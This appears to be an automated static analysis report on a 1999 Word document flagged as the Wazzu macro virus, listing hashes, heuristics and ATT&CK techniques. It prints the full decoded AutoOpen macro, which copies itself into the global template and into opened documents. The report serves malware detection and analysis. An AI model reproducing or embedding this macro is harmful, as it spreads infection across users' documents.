Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 14e8c93afa30eb01…

MALICIOUS

Office (OLE)

26.5 KB Created: 1999-05-02 16:14:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: aeab2fc52033a1237769bcfa32ea1e90 SHA-1: c68cb9c54a65fa0da0fee6096829ef31dabf6fd4 SHA-256: 14e8c93afa30eb0168e6e7a38b6f00a6243deaa0dfd21b078dff476a0c0d8be2
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a Microsoft Word document containing a VBA macro. The AutoOpen macro is designed to copy itself to the Global:AutoOpen template, which is a common persistence mechanism. The ClamAV detection 'Doc.Trojan.Wazzu-43' further confirms its malicious nature. The macro's intent is to ensure its execution whenever Word is opened or a new document is created.

Heuristics 4

  • ClamAV: Doc.Trojan.Wazzu-43 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wazzu-43
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 708 bytes
SHA-256: b1511231510b44031994bd6831fee703fd360785885b540d3bf1d01bcd574679
Detection
ClamAV: Doc.Trojan.Wazzu-43
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Dim M$
On Error GoTo -1: On Error GoTo MinSize
M$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))
If M$ = "NORMAL.DOT" Then
WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.FileSaveAs Format:=1
Else
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoOpen"
End If
MinSize:
End Sub

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